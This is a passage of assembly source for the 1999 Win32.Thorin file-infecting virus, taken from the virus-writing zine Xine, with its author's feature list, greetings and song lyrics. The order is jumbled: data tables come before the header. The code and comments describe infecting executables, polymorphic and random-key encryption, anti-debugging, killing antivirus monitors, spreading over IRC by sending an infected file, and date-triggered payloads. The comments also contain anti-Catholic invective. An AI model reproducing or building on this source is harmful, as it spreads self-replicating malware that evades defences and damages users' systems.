@GetSystemTime db "GetSystemTime",0
|
||
|
||
@@HookedNamez label byte
|
||
@MoveFileA db "MoveFileA",0
|
||
@CopyFileA db "CopyFileA",0
|
||
@GetFullPathNameA db "GetFullPathNameA",0
|
||
@DeleteFileA db "DeleteFileA",0
|
||
@WinExec db "WinExec",0
|
||
@CreateProcessA db "CreateProcessA",0
|
||
@CreateFileA db "CreateFileA",0
|
||
@GetFileAttributesA db "GetFileAttributesA",0
|
||
@FindFirstFileA db "FindFirstFileA",0
|
||
@FindNextFileA db "FindNextFileA",0
|
||
@GetProcAddress db "GetProcAddress",0
|
||
db 0BBh ; I rule! :)
|
||
|
||
@@USER32_APIs label byte
|
||
@SwapMouseButton db "SwapMouseButton",0
|
||
@MessageBoxA db "MessageBoxA",0
|
||
@FindWindowA db "FindWindowA",0
|
||
@PostMessageA db "PostMessageA",0
|
||
db "" ; I like girls...
|
||
|
||
@@ADVAPI32_APIs label byte
|
||
@RegCreateKeyExA db "RegCreateKeyExA",0
|
||
@RegOpenKeyExA db "RegOpenKeyExA",0
|
||
@RegDeleteKeyA db "RegDeleteKeyA",0
|
||
db "" ; And music tho :)
|
||
|
||
@@SHELL32_APIs label byte
|
||
@ShellExecuteA db "ShellExecuteA",0
|
||
|
||
random_seed label byte
|
||
rnd_seed1 dd 00000000h
|
||
rnd_seed2 dd 00000000h
|
||
rnd_seed3 dd 00000000h
|
||
dd 00000000h
|
||
|
||
; THME Poly Engine data
|
||
|
||
THME_CounterReg db 00h
|
||
THME_PointerReg db 00h
|
||
THME_DeltaReg db 00h
|
||
|
||
THME_CoproInit db 00h
|
||
THME_CryptOp db 00h
|
||
|
||
THME_Recursion db 00h
|
||
THME_LoopAddress db 00000000h
|
||
THME_CryptKey dd 00000000h
|
||
THME_Pointer dd 00000000h
|
||
THME_Data2crypt dd 00000000h
|
||
THME_Size2crypt dd 00000000h
|
||
THME_S2C_div4 dd 00000000h
|
||
THME_GDO_TmpCll dd 00000000h
|
||
THME_Fix1 dd 00000000h
|
||
THME_Key1 dd 00000000h ; ADD/SUB/XOR key
|
||
|
||
; Virus data
|
||
|
||
NewSize dd 00000000h
|
||
SearchHandle dd 00000000h
|
||
FileHandle dd 00000000h
|
||
MapHandle dd 00000000h
|
||
MapAddress dd 00000000h
|
||
AddressTableVA dd 00000000h
|
||
NameTableVA dd 00000000h
|
||
OrdinalTableVA dd 00000000h
|
||
TempGA_IT1 dd 00000000h
|
||
TempGA_IT2 dd 00000000h
|
||
TempHandle dd 00000000h
|
||
iobytes dd 00000000h,00000000h,00000000h,00000000h,00000000h
|
||
GlobalAllocHnd dd 00000000h
|
||
GlobalAllocHnd_ dd 00000000h
|
||
TSHandle dd 00000000h
|
||
RegHandle dd 00000000h
|
||
Disposition dd 00000000h
|
||
lpFilePart dd 00000000h
|
||
WFD_HndInMem dd 00000000h
|
||
WFD_Handles_Count db 00h
|
||
CoolFlag db 00h
|
||
inNT db 00h
|
||
CurrentExt db 00h
|
||
|
||
tempcurdir db 7Fh dup (00h)
|
||
|
||
@@Offsetz label byte
|
||
_GetModuleHandleA dd 00000000h
|
||
_LoadLibraryA dd 00000000h
|
||
_FindClose dd 00000000h
|
||
_SetFilePointer dd 00000000h
|
||
_SetFileAttributesA dd 00000000h
|
||
_CloseHandle dd 00000000h
|
||
_GetCurrentDirectoryA dd 00000000h
|
||
_SetCurrentDirectoryA dd 00000000h
|
||
_GetWindowsDirectoryA dd 00000000h
|
||
_GetSystemDirectoryA dd 00000000h
|
||
_CreateFileMappingA dd 00000000h
|
||
_MapViewOfFile dd 00000000h
|
||
_UnmapViewOfFile dd 00000000h
|
||
_SetEndOfFile dd 00000000h
|
||
_WriteFile dd 00000000h
|
||
_GetTickCount dd 00000000h
|
||
_GetVersion dd 00000000h
|
||
_GlobalAlloc dd 00000000h
|
||
_GlobalFree dd 00000000h
|
||
_GetFileSize dd 00000000h
|
||
_SetVolumeLabelA dd 00000000h
|
||
_GetSystemTime dd 00000000h
|
||
@@HookedOffsetz label byte
|
||
_MoveFileA dd 00000000h
|
||
_CopyFileA dd 00000000h
|
||
_GetFullPathNameA dd 00000000h
|
||
_DeleteFileA dd 00000000h
|
||
_WinExec dd 00000000h
|
||
_CreateProcessA dd 00000000h
|
||
_CreateFileA dd 00000000h
|
||
_GetFileAttributesA dd 00000000h
|
||
_FindFirstFileA dd 00000000h
|
||
_FindNextFileA dd 00000000h
|
||
_GetProcAddress dd 00000000h
|
||
n_HookedAPIs equ (($-@@HookedOffsetz)/4)
|
||
|
||
|
||
@@USER32_Addresses label byte
|
||
_SwapMouseButton dd 00000000h
|
||
_MessageBoxA dd 00000000h
|
||
_FindWindowA dd 00000000h
|
||
_PostMessageA dd 00000000h
|
||
|
||
@@ADVAPI32_Addresses label byte
|
||
_RegCreateKeyExA dd 00000000h
|
||
_RegOpenKeyExA dd 00000000h
|
||
_RegDeleteKeyA dd 00000000h
|
||
|
||
MAX_PATH equ 260
|
||
|
||
FILETIME STRUC
|
||
FT_dwLowDateTime dd ?
|
||
FT_dwHighDateTime dd ?
|
||
FILETIME ENDS
|
||
|
||
WIN32_FIND_DATA label byte
|
||
WFD_dwFileAttributes dd ?
|
||
WFD_ftCreationTime FILETIME ?
|
||
WFD_ftLastAccessTime FILETIME ?
|
||
WFD_ftLastWriteTime FILETIME ?
|
||
WFD_nFileSizeHigh dd ?
|
||
WFD_nFileSizeLow dd ?
|
||
WFD_dwReserved0 dd ?
|
||
WFD_dwReserved1 dd ?
|
||
WFD_szFileName db MAX_PATH dup (?)
|
||
WFD_szAlternateFileName db 13 dup (?)
|
||
db 03 dup (?)
|
||
|
||
_WIN32_FIND_DATA label byte
|
||
_WFD_dwFileAttributes dd ?
|
||
_WFD_ftCreationTime FILETIME ?
|
||
_WFD_ftLastAccessTime FILETIME ?
|
||
_WFD_ftLastWriteTime FILETIME ?
|
||
_WFD_nFileSizeHigh dd ?
|
||
_WFD_nFileSizeLow dd ?
|
||
_WFD_dwReserved0 dd ?
|
||
_WFD_dwReserved1 dd ?
|
||
_WFD_szFileName db MAX_PATH dup (?)
|
||
_WFD_szAlternateFileName db 13 dup (?)
|
||
db 03 dup (?)
|
||
|
||
SYSTEMTIME label byte
|
||
ST_wYear dw ?
|
||
ST_wMonth dw ?
|
||
ST_wDayOfWeek dw ?
|
||
ST_wDay dw ?
|
||
ST_wHour dw ?
|
||
ST_wMinute dw ?
|
||
ST_wSecond dw ?
|
||
ST_wMilliseconds dw ?
|
||
|
||
|
||
directories label byte
|
||
|
||
WindowsDir db 7Fh dup (00h)
|
||
SystemDir db 7Fh dup (00h)
|
||
OriginDir db 7Fh dup (00h)
|
||
dirs2inf equ (($-directories)/7Fh)
|
||
mirrormirror db dirs2inf
|
||
|
||
align dword
|
||
|
||
crypt_end label byte
|
||
|
||
virus_end label byte
|
||
|
||
; ===========================================================================
|
||
; First generation host
|
||
; ===========================================================================
|
||
; I'm alone. I'm with me. I'm thinking. I'm dangerous.
|
||
|
||
fakehost:
|
||
pop dword ptr fs:[0]
|
||
pop eax
|
||
popad
|
||
popfd
|
||
|
||
xor eax,eax
|
||
push eax
|
||
push offset szTitle
|
||
push offset szMessage
|
||
push eax
|
||
call MessageBoxA
|
||
|
||
push 00000000h
|
||
call ExitProcess
|
||
|
||
end thorin
|
||
|
||
; ===========================================================================
|
||
; Bonus Track
|
||
; ===========================================================================
|
||
;
|
||
; As this virus is related with Tolkien, there is also a relation with some
|
||
; songs of my favourite band: Blind Guardian. And as most of you don't know
|
||
; a shit about them, here i will put one song: The Bard's Song [in the fo-
|
||
; rest], that is the hymn of all Blind Guardian's fans. By the way, i have to
|
||
; wish them good luck, because i've heard that their vocalist had recently an
|
||
; operation in his ear. Good luck, Hansi!!! We will always love you!
|
||
;
|
||
; Bard's Song [in the forest]
|
||
; ???????????????????????????
|
||
; Now you all know
|
||
; The bards and their songs
|
||
; When hours have gone by
|
||
; I'll close my eyes
|
||
; In a world far away
|
||
; We may meet again
|
||
; But now hear my song
|
||
; About the dawn of the night
|
||
; Let's sing the bards' song
|
||
;
|
||
; Tomorrow will take us away
|
||
; Far from home
|
||
; Noone will ever know our names
|
||
; But the bards' song will remain
|
||
; Tomorrow will take it away
|
||
; The fear of today
|
||
; It will be gone
|
||
; Due to our magic songs
|
||
;
|
||
; There's only one song
|
||
; Left in my mind
|
||
; Tales of a brave man
|
||
; Who lived far from here
|
||
;
|
||
; Now the bard songs are over
|
||
; And it's time to leave
|
||
; Noone should ask you for the name
|
||
; Of the one
|
||
; Who tells the story
|
||
;
|
||
; Tomorrow will take us away
|
||
; Far from home
|
||
; Noone will ever know our names
|
||
; But the bards' song will remain
|
||
; Tomorrow all will be known
|
||
; And you are not alone
|
||
; So don't be afraid
|
||
; In the dark and cold
|
||
; 'Cause the bards' song will remain
|
||
; They all will remain
|
||
;
|
||
; In my thoughts and dreams
|
||
; They're always in my mind
|
||
; These songs from hobbits, dwarves and men
|
||
; And elves
|
||
; Come close your eyes
|
||
; You can see them, too
|
||
;
|
||
; ---
|
||
; Copyright (c) 1992 by Blind Guardian; "Somewhere far beyond" album.
|
||
|
||
|
||
|
||
|
||
|
||
|
||
; Brought to you by 'The ZOO' !
|
||
|
||
|
||
/-----------------------------\
|
||
| Xine - issue #4 - Phile 204 |
|
||
\-----------------------------/
|
||
|
||
; [Win32.Thorin] - PE/mIRC/PIRCH/ViRC97/resident/semi-stealth/poly/RDA, etc.
|
||
; Copyright (c) 1999 by Billy Belcebu/iKX
|
||
;
|
||
; ??» ??» ??» ???» ??» ??????» ??????»
|
||
; ??? ??? ??? ????» ??? ???????» ???????»
|
||
; ??? ?» ??? ??? ?????» ??? ??????? ???????
|
||
; ??????»??? ??? ??????»??? ??????» ???????
|
||
; ?????????? ??? ??? ?????? ???????? ???????» ??»
|
||
; ???????? ??? ??? ????? ??????? ???????? ???
|
||
; ????????» ??» ??» ??????» ??????» ??» ???» ??»
|
||
; ????????? ??? ??? ????????» ???????» ??? ????» ???
|
||
; ??? ???????? ??? ??? ???????? ??? ?????» ???
|
||
; ??? ???????? ??? ??? ???????» ??? ??????»???
|
||
; ??? ??? ??? ????????? ??? ??? ??? ??? ??????
|
||
; ??? ??? ??? ??????? ??? ??? ??? ??? ?????
|
||
;
|
||
; Virus Name : Thorin.11932 [ Bugfix version ]
|
||
; Virus Author : Billy Belcebu/iKX
|
||
; Origin : Spain
|
||
; Platform : Win32
|
||
; Target : PE files (EXE/SCR/CPL) & mIRC/PIRCH/ViRC97 spreading
|
||
; Poly : THME 1.0 [The Hobbit Mutation Engine]
|
||
; Unpack : LSCE 1.0 [Little Shitty Compression Engine]
|
||
; Compiling : TASM 5.0 and TLINK 5.0 should be used
|
||
; tasm32 /ml /m3 thorin,,;
|
||
; tlink32 /Tpe /aa /c /v thorin,thorin,,import32.lib,
|
||
; pewrsec thorin.exe
|
||
; Why 'Thorin'? : Heh, are you an incult guy? Heh, have you ever read the
|
||
; wonderful book of the wonderful author J. R. R. Tolkien,
|
||
; called "The Hobbit"? Ok, if you did it, you can realize
|
||
; that the most important dwarf is called in this way :) He
|
||
; died with honour, and he couldn't taste the victory and be
|
||
; the king, anyway thanks to him, the Middle-Earth was a much
|
||
; better world for years. Ain't it charming? ;)
|
||
; Features : Ok, here i will list all that this babe is able to do...
|
||
; ? Infect PE files in current, Windows, and System dirs.
|
||
; ? Runtime module, infects 4 files each time.
|
||
; ? Per-Process residency (Import Table & GetProcAddress).
|
||
; ? Infects EXE, SCR & CPL files.
|
||
; ? Anti-Debugging features (SEH & 'IsDebuggerPresent').
|
||
; ? Anti-Emulation features.
|
||
; ? Anti-Monitors, kills AVP Monitor and AMON.
|
||
; ? Polymorphic layer of decryption.
|
||
; ? RDA layer of decryption.
|
||
; ? Size Stealth (FindFirstFileA/FindNextFileA).
|
||
; ? Fast infection (depending of the host).
|
||
; ? Internet aware virus: mIRC, ViRC97 and PIRCH scripts.
|
||
; ? Traversal routine for search for the scripts (hi LJ!).
|
||
; ? Packed dropper, used LSCE 1.0.
|
||
; ? Really tiny unpacker.
|
||
; ? Multiple payloads (see below).
|
||
; ? Doesn't hardcode KERNEL32 base address.
|
||
; ? Doesn't hardcode API addresses (of course).
|
||
; ? Gets Image Base at running time.
|
||
; ? Removes many AV CRC files.
|
||
; ? Avoids infection of certain (dangerous for us) files.
|
||
; Payloads : Yes, this virus has multiple payloads (hi DuST!). Let's see
|
||
; a little overview of them (executed every 26 of October).
|
||
; 1. The biggest one, based in a trick that i learnt from
|
||
; mandragore's viruses, dropping a file as C:\WIN.COM, that
|
||
; gets executed by the system before of the file that should
|
||
; be, that is C:\WINDOWS\WIN.COM, thus bringing us the possi-
|
||
; bility of own the computer before windows :) Well, it cons-
|
||
; ists in a very little, simple and easy quiz that all ppl
|
||
; who had read "The Hobbit" once in his life would be able to
|
||
; pass without problems, and consists of 3 questions.
|
||
; 2. Sets the HD's name as 'THORIN'.
|
||
; 3. Due an idea that my friend Qozah gave me, it swaps the
|
||
; mouse buttons, thus making the user be stoned... All you
|
||
; clicked with the left button, now you'll have to click with
|
||
; the right one, and vice-versa.
|
||
; 4. The typical MessageBox with a silly message.
|
||
; 5. Launches user to Microsoft page, thus annoying him and
|
||
; make his little and ignorant mind to think that the awaited
|
||
; Micro$oft offensive over the earth has began. Well, ain't
|
||
; this one charming? ;)
|
||
; Internet : This virus is able to spread itself using the most used
|
||
; IRC programs over the world: mIRC, PIRCH and ViRC. Every
|
||
; infected system will have a little infected file in
|
||
; C:\PR0N.EXE. This file is sent to everyone that joins the
|
||
; channel where the user is chatting by DCC. Very simple and
|
||
; effective.
|
||
; Greetings : This virus is dedicated to many people... Firstly, to the
|
||
; iKX crew for trust in me, to the DDT past,present and futu-
|
||
; re crew for the friendship during the time, 29A ppl, FS ppl
|
||
; etc. Now, the personal greetings (w/ no particular order):
|
||
;
|
||
; SeptiC - Your 'Internet aware viruses' article rules!!!
|
||
; b0z0 - Hi, my favourite 'little' clown :)
|
||
; StarZer0 - no. no, no. no sex.
|
||
; Int13h - I'd like you come to Spain :)
|
||
; Murkry - I'm glad to be in a group with this genius.
|
||
; n0ph - I still don't have the pleasure of knowin' you...
|
||
; Somniun - Si tienes alguna duda de Win32, pregunta!! ;)
|
||
; Wintermute - RAMMSTEIN rules! You always have reason ;)
|
||
; Owl - You are very isolated from the world, pal :)
|
||
; Vecna - The best coder of everytime.
|
||
; Ypsilon - Nos vemos en septiembre! :)
|
||
; Bumblebee - Pues eso, a ver si tu vienes tambien...
|
||
; TechnoPhunk - Forget catholicism and be nihilist! ;)
|
||
; Qozah - I'd like to do a cooperation project with ya ;)
|
||
; Benny - Same with you :) Yer a reely impressive codah!
|
||
; Super - ?Como te va en Castellon?
|
||
; nIgr0 - Code viruses, not 'legal' thingies!
|
||
; MDriller - best p0lys without any kinda discussion...
|
||
; T-2000 - I share ur ideas 'bout religion: radical but true
|
||
; SlageHammer - I loved yer city! Milano rocks! Padania rocks!
|
||
; VirusBuster - I've seen "Love Struck Baby" video. SRV rlz ;)
|
||
; LordJulus - Keep on coding, but optimize more! ;)
|
||
;
|
||
; Also dedicated to all the Bards around!
|
||
;
|
||
; Thoughts : This is, nowadays, my best virus so far, over Iced Earth,
|
||
; Garaipena, and Nitro, all of them for Windoze. I needed to
|
||
; do at least a good virus, for feed my own ego (why lie?),
|
||
; and i think this is what really happened. But i won't stop
|
||
; there, there are many things yet to explore (and exploit)
|
||
; in 32 bit enviroments, there are many problems unsolved,
|
||
; and i will try to contribute with my humble code for all
|
||
; those purposes. Btw, i used, in my other viruses, to try to
|
||
; optimize , but in this virus i didn't. I mean, you won't
|
||
; see here OBVIOUS lacks of optimization, like CMP reg,-1 but
|
||
; i will use many times the same code in different procedures
|
||
; many strings, two droppers (one for IRC distribution, and
|
||
; other for one payload). This virus is big in its size, well
|
||
; not as Win32.Harrier, Win32.Libertine, WinNT.Remex, etc.,
|
||
; but it's a 'big' one, and i hope this will mean a 'good'
|
||
; one. Fuck, i've coded also a lot of payloads, none of them
|
||
; is destructive, but all are VERY annoying... The descripti-
|
||
; on is above, if you don't believe me.
|
||
; Well, now i'm gonna excuse myself, because while making
|
||
; this virus (based initially on my Win95.Iced Earth) i have
|
||
; noticed the great quantity of bugs that my Iced Earth virus
|
||
; had (believe me, more than 10 incredible bugs!), and i'm
|
||
; still wondering why all those escaped from my beta testing.
|
||
; Moreover, all those bugs only reflect my incompetence. With
|
||
; this virus i have made very serious tests, mainly because
|
||
; some delicated parts of the virus needed it to work perfec-
|
||
; ly (i.e. per-process residence). Maybe there will be also
|
||
; bugs, but now at least i know there are less :)
|
||
; My next steps will be the research in the fields of MMX
|
||
; polymorphism, some metamorphism, and i hope that my next
|
||
; virus will use EPO techniques, because i haven't experimen-
|
||
; ted yet with such a kewl thing.
|
||
; Politics : Benny doesn't like that i use to talk about politics, but i
|
||
; have put it there just for explain some things that could
|
||
; guide you to misunderstand my way of act. Everybody knows
|
||
; that i tend to Marxism, right? Well, but i'm not saying
|
||
; with this that i support Fidel Castro, Mao, and such like
|
||
; pseudo-communists (that tend to totalitarism). I think that
|
||
; everybody must have the same oportunities, and without any
|
||
; kind of discrimination. But as i am not a guy with an only
|
||
; idea, i support also (if there isn't any other choice) the
|
||
; democracy, but i prefer it to be a democracy as participa-
|
||
; tion and not as a procediment. Whom has studied some philo-
|
||
; sophy will know of what i am talking about: avoid the fi-
|
||
; erce and discriminatory capitalism. As i am tolerant, you
|
||
; can be againist my ideas, and i will accept it. So Benny,
|
||
; i'm not a totalitarian asshole, just the opposite, i'm just
|
||
; a young idealist :) Be free, enjoy life...
|
||
; Final note : Although it screwed me a lot, i haven't put data in the
|
||
; heap as i used to do because this virus is too big and the
|
||
; data used temporally is also too big, and it generated some
|
||
; protection faults... SHIT!!!!
|
||
;
|
||
; That is not dead
|
||
; which can eternal lie
|
||
; yet with strange aeons
|
||
; even death may die
|
||
;
|
||
; -H. P. Lovecraft-
|
||
;
|
||
; (c) 1999 Billy Belcebu/iKX
|
||
|
||
.586p
|
||
.model flat
|
||
.data
|
||
|
||
; 1st gen exported apis
|
||
|
||
extrn MessageBoxA:PROC
|
||
extrn ExitProcess:PROC
|
||
|
||
; Some useful equates
|
||
|
||
virus_size equ (offset virus_end-offset virus_start)
|
||
poly_virus_size equ (offset crypt_end-offset thorin)
|
||
shit_b4_delta equ (offset delta-offset virus_start)
|
||
encrypt_size equ (crypt_end-crypto)
|
||
non_crypt_size equ (virus_size-encrypt_size-rda_decryptor)
|
||
rda_decryptor equ (virus_end-crypt_end)
|
||
section_flags equ 00000020h or 20000000h or 80000000h
|
||
directory_attr equ 00000010h
|
||
temp_attributes equ 00000080h
|
||
drop_old_size equ 00011000d
|
||
n_Handles equ 50d
|
||
WFD_HndSize equ n_Handles*8
|
||
|
||
n_infections equ 04h
|
||
bad_number equ 09h
|
||
|
||
orig_size equ 044h
|
||
mark equ 04Ch
|
||
ddInfMark equ "NRHT"
|
||
|
||
kernel_ equ 0BFF70000h ; Only used if the K32 search
|
||
kernel_wNT equ 077F00000h ; fails...
|
||
|
||
imagebase_ equ 000400000h ; y0h0h0
|
||
|
||
; Interesting macros for my code
|
||
|
||
cmp_ macro reg,joff1 ; Optimized version of
|
||
inc reg ; CMP reg,0FFFFFFFFh
|
||
jz joff1 ; JZ joff1
|
||
dec reg ; The code is reduced in 3
|
||
endm ; bytes (7-4)
|
||
|
||
cmpz macro reg,joff2 ; Optimized version of
|
||
xchg reg,ecx ; CMP reg,00h
|
||
jecxz joff2 ; JZ joff2
|
||
endm ; Code reduced in 2 bytes
|
||
|
||
cmpz_ macro reg,joff3 ; Blah
|
||
or reg,reg
|
||
jz joff3
|
||
endm
|
||
|
||
apicall macro apioff ; Optimize muthafucka!
|
||
call dword ptr [ebp+apioff]
|
||
endm
|
||
|
||
rva2va macro reg,base ; Only for make preetiest the
|
||
add reg,[ebp+base] ; code ;)
|
||
endm
|
||
|
||
virussize macro
|
||
db virus_size/10000 mod 10 + "0"
|
||
db virus_size/01000 mod 10 + "0"
|
||
db virus_size/00100 mod 10 + "0"
|
||
db virus_size/00010 mod 10 + "0"
|
||
db virus_size/00001 mod 10 + "0"
|
||
endm
|
||
|
||
; Some shitty thingies in data section... 1st gen host messages
|
||
|
||
.data
|
||
|
||
szTitle db "[Win32.Thorin]",0
|
||
szMessage db "First Generation Sample",10
|
||
db "Virus Size : "
|
||
virussize
|
||
db " bytes"
|
||
db 10
|
||
db "Copyright (c) 1999 by Billy Belcebu/iKX",0
|
||
|
||
; El ke mucho llora es porke no mama!
|
||
|
||
.code
|
||
|
||
; ===========================================================================
|
||
; Virus code
|
||
; ===========================================================================
|
||
; DU HAST MICH!!!
|
||
|
||
virus_start label byte
|
||
|
||
poly_layer db LIMIT dup (90h) ; Space for poly-decryptor
|
||
|
||
thorin:
|
||
pushad ; Push all da shit
|
||
pushfd
|
||
|
||
fwait ; Reset coprocessor
|
||
fninit
|
||
|
||
call kill_av ; Anti-emulation trick
|
||
|
||
mov esp,[esp+08h]
|
||
xor edx,edx
|
||
pop dword ptr fs:[edx]
|
||
pop edx
|
||
jmp over_trap
|
||
|
||
kill_av:
|
||
xor edx,edx
|
||
push dword ptr fs:[edx]
|
||
mov fs:[edx],esp
|
||
dec byte ptr [edx]
|
||
jmp over_rda
|
||
|
||
over_trap:
|
||
call delta ; Hardest code to undestand ;)
|
||
delta: pop ebp
|
||
mov eax,ebp
|
||
sub ebp,offset delta
|
||
|
||
sub eax,shit_b4_delta
|
||
sub eax,00001000h
|
||
NewEIP equ $-4
|
||
|
||
push eax ; Save it
|
||
or ebp,ebp ; Goddamn first gen...
|
||
jz over_rda
|
||
call rda_crypt
|
||
jmp over_rda
|
||
|
||
; ===========================================================================
|
||
; RDA Layer (Random Decryption Algorithm)
|
||
; ===========================================================================
|
||
; I have become a direct. I have become insurgent.
|
||
|
||
rda_crypt proc
|
||
xor ebx,ebx ; Clear counter
|
||
try_another_key:
|
||
call crypt ; Try to decrypt it
|
||
push ebx ; Save counter
|
||
lea esi,[ebp+crypto] ; Load address to crypt
|
||
mov edi,encrypt_size ; Size to crypt
|
||
call CRC32 ; Get its CRC32
|
||
pop ebx ; Restore counter
|
||
cmp eax,12345678h ; Actual CRC32=CRC32 unencrypted?
|
||
CRC equ $-4
|
||
jz rda_done ; Yeah, then we decrypted it
|
||
call crypt ; Nopes, fix it
|
||
inc ebx ; increase key
|
||
jmp try_another_key ; Try with another key
|
||
rda_done:
|
||
ret
|
||
rda_crypt endp
|
||
|
||
crypt proc ; This procedures simplifies
|
||
lea edi,[ebp+crypto] ; the task (and optimizes) of
|
||
mov ecx,encrypt_size ; encrypt with a determinated
|
||
rda_: xor byte ptr [edi],bl ; key
|
||
inc edi
|
||
loop rda_
|
||
ret
|
||
crypt endp
|
||
|
||
; Legalizar consimizion, no te konviene... se akaba el filon!
|
||
|
||
; ===========================================================================
|
||
; CRC32 calculator [by Vecna]
|
||
; ===========================================================================
|
||
;
|
||
; input:
|
||
; ESI = Offset where code to calculate begins
|
||
; EDI = Size of that code
|
||
; output:
|
||
; EAX = CRC32 of given code
|
||
;
|
||
|
||
CRC32 proc
|
||
cld
|
||
push ebx
|
||
xor ecx,ecx ; Optimized by me - 2 bytes
|
||
dec ecx ; less
|
||
mov edx,ecx
|
||
NextByteCRC:
|
||
xor eax,eax
|
||
xor ebx,ebx
|
||
lodsb
|
||
xor al,cl
|
||
mov cl,ch
|
||
mov ch,dl
|
||
mov dl,dh
|
||
mov dh,8
|
||
NextBitCRC:
|
||
shr bx,1
|
||
rcr ax,1
|
||
jnc NoCRC
|
||
xor ax,08320h
|
||
xor bx,0EDB8h
|
||
NoCRC: dec dh
|
||
jnz NextBitCRC
|
||
xor ecx,eax
|
||
xor edx,ebx
|
||
dec edi ; Another fool byte less
|
||
jnz NextByteCRC
|
||
not edx
|
||
not ecx
|
||
pop ebx
|
||
mov eax,edx
|
||
rol eax,16
|
||
mov ax,cx
|
||
ret
|
||
CRC32 endp
|
||
|
||
crypto equ $
|
||
|
||
db " [IAIDA] " ; Little message to the pree-
|
||
; tiest girl over the earth.
|
||
; She deserves much more, i
|
||
; know... anyway... she's here!
|
||
|
||
; No penseis ke soy baboso, ein?!?!?!?!?!? :)
|
||
|
||
over_rda:
|
||
pop eax
|
||
mov dword ptr [ebp+ModBase],eax ; EAX = Image Base of module
|
||
|
||
|
||
call ChangeSEH ; SEH rlz.
|
||
mov esp,[esp+08h] ; Restore stack
|
||
jmp RestoreSEH
|
||
ChangeSEH:
|
||
xor ebx,ebx ; Joder, no joderemos...
|
||
push dword ptr fs:[ebx] ; pero JODER! las ganas ke
|
||
mov fs:[ebx],esp ; tenemos :)
|
||
|
||
and byte ptr [ebp+inNT],00h ; Make zero inNT variable
|
||
|
||
mov ecx,cs ; Check if we are under WinNT
|
||
xor cl,cl
|
||
jecxz WinNT ; ECX = 0 - WinNT;100 - Win9X
|
||
jmp shock
|
||
|
||
WinNT:
|
||
inc byte ptr [ebp+inNT] ; If NT, mark this
|
||
shock:
|
||
mov esi,[esp+2Ch] ; Get program return address
|
||
mov ecx,05d ; Max level
|
||
call GetK32
|
||
|
||
; I hate the catholicism... I HATE THE CATHOLICISM!!!! STOP HIPOCRISY!!!!!!!!
|
||
; STOP THOSE GODDAMN LIES!!! What is that? God helps us? Hahahahah!!! So, you
|
||
; stupid catholic asshole... why there are wars, genocides, etc? Why we, the
|
||
; human race, are as cruel with other humans, the nature, and everything that
|
||
; goes againist our own process to earn money? Open your eyes... i won't make
|
||
; you change using the power... just change yourself... it's your choice.
|
||
|
||
asakopako:
|
||
mov dword ptr [ebp+kernel],eax ; EAX must be K32 base address
|
||
|
||
; This is the main branch of the virus
|
||
|
||
lea edi,[ebp+@@Offsetz]
|
||
lea esi,[ebp+@@Namez]
|
||
call GetAPIs ; Retrieve all APIs
|
||
|
||
call AntiDebugger ; Antidebug their arse
|
||
|
||
call PrepareInfection ; Set-up infection
|
||
|
||
call KillMonitors ; Kill AV monitors
|
||
|
||
call InfectItAll ; Infect dirs
|
||
|
||
call DropPR0N ; Unpack and drop PR0N.EXE
|
||
|
||
call TraversalSearch ; Search for scripts and dr0p
|
||
|
||
call HookAllAPIs ; Hook IT APIs
|
||
|
||
; Ok, we prepare to end the adventure...
|
||
|
||
push WFD_HndSize ; Hook some mem for WFD_Handles
|
||
push 00000000h ; structure
|
||
apicall _GlobalAlloc
|
||
mov dword ptr [ebp+WFD_HndInMem],eax
|
||
|
||
; Activate payload every 26th of October, a magical day.
|
||
|
||
lea eax,[ebp+SYSTEMTIME]
|
||
push eax
|
||
apicall _GetSystemTime
|
||
|
||
cmp word ptr [ebp+ST_wDay],31d
|
||
jnz continue_payload
|
||
jmp delete_key
|
||
|
||
continue_payload:
|
||
cmp word ptr [ebp+ST_wDay],26d
|
||
jnz no_payload
|
||
|
||
cmp word ptr [ebp+ST_wMonth],10d
|
||
jnz no_payload
|
||
|
||
call payload ; Well... payloads :)
|
||
|
||
no_payload:
|
||
xchg ebp,ecx ; 1st gen shit
|
||
jecxz fakehost_
|
||
|
||
RestoreSEH:
|
||
xor ebx,ebx ; Restore old SEH handler
|
||
pop dword ptr fs:[ebx]
|
||
pop eax
|
||
|
||
popfd ; Restore registers & flags
|
||
popad
|
||
|
||
mov ebx,12345678h ; Here goes program's EIP
|
||
org $-4
|
||
OldEIP dd 00001000h
|
||
|
||
add ebx,12345678h ; And here its base address
|
||
org $-4
|
||
ModBase dd imagebase_
|
||
|
||
push ebx ; We return control to host
|
||
ret
|
||
|
||
fakehost_:
|
||
jmp fakehost ; 1st gen shitz0r
|
||
|
||
; CATHOLICISM = FASCISM = SHIT
|
||
|
||
delete_key: ; This gets executed once
|
||
lea esi,[ebp+key_mIRC] ; each 2 months :)
|
||
call DelReg
|
||
lea esi,[ebp+key_PIRCH]
|
||
call DelReg
|
||
lea esi,[ebp+key_ViRC97]
|
||
call DelReg
|
||
jmp no_payload
|
||
|
||
; ===========================================================================
|
||
; Most important virus info :)
|
||
; ===========================================================================
|
||
|
||
vname label byte
|
||
db "[Win32.Thorin."
|
||
virussize
|
||
db " v1.00]",00h
|
||
copyr db "Copyright (c) 1999 by Billy Belcebu/iKX",0
|
||
|
||
; ===========================================================================
|
||
; Obtain useful info that will be used in infection process
|
||
; ===========================================================================
|
||
|
||
PrepareInfection:
|
||
lea edi,[ebp+WindowsDir] ; Pointer to the variable
|
||
push 7Fh ; Size of dir variable
|
||
push edi ; Push it!
|
||
apicall _GetWindowsDirectoryA
|
||
|
||
add edi,7Fh ; Pointer to the variable
|
||
push 7Fh ; Size of dir variable
|
||
push edi ; Push it!
|
||
apicall _GetSystemDirectoryA
|
||
|
||
add edi,7Fh ; Pointer to the variable
|
||
push edi ; Size of dir variable
|
||
push 7Fh ; Push it!
|
||
apicall _GetCurrentDirectoryA
|
||
|
||
lea eax,[ebp+szUSER32] ; Get all needed APIs from
|
||
push eax ; the USER32.DLL library
|
||
apicall _LoadLibraryA
|
||
|
||
xchg eax,ebx
|
||
|
||
lea edi,[ebp+@@USER32_APIs] ; Pointer to API strings
|
||
lea esi,[ebp+@@USER32_Addresses] ; Pointer to API addresses
|
||
retrieve_user32_apis:
|
||
push edi ; Push pointer to string
|
||
push ebx ; Push USER32 base address
|
||
apicall _GetProcAddress
|
||
|
||
xchg edi,esi ; Store the address
|
||
stosd
|
||
xchg edi,esi
|
||
|
||
xor al,al ; Get the end of string
|
||
scasb
|
||
jnz $-1
|
||
|
||
cmp byte ptr [edi],"" ; I like girls...
|
||
jz all_user32_apis ; Is last api?
|
||
jmp retrieve_user32_apis
|
||
|
||
all_user32_apis:
|
||
